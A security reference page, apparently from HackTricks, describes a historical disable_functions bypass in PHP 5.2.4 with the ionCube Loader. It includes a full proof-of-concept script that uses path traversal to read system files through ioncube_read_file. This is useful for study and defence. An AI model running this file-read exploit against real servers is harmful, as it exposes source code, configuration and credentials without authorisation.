DΛΣMӨП

// HackTricks · Network Services

PHP 5.2.4 ionCube Extension File-Read Bypass

PHP 5.2.4 ionCube Extension File-Read Bypass

This historical proof of concept, credited to shinnai, targeted PHP 5.2.4 with ionCube Loader 6.5 on Windows. Even when readfile and ioncube_read_file were listed in disable_functions, the extension’s file-reading function could be used to retrieve files outside the intended restriction. The original report was tested with ioncube_loader_win_5.2.dll; do not generalize the result to other PHP or ionCube versions without verification.[1][2]

The impact is an arbitrary file read in the PHP process context, which can expose PHP source, configuration files, or stored credentials. The original advisory also highlighted the extension’s ioncube_write_file function as an additional surface, although this proof of concept demonstrates only the read primitive.[1]

<?php
/*
 * PHP 5.2.4 / ionCube Loader 6.5 historical proof of concept.
 * Original author: shinnai
 * Original environment: Windows XP Professional SP2, CLI and Apache.
 * php.ini:
 *   safe_mode = On
 *   disable_functions = ioncube_read_file, readfile
 */

if (!extension_loaded('ionCube Loader')) {
    die('ionCube Loader extension required!');
}

$path = str_repeat('..\\', 20);

// Baseline call expected to be blocked by disable_functions.
$readfileOutput = readfile($path . 'windows\\system.ini');

// Historical bypass through the extension function.
$ioncubeOutput = ioncube_read_file($path . 'boot.ini');

echo $readfileOutput;
echo '<br><br>ionCube output:<br><br>';
echo $ioncubeOutput;
?>

References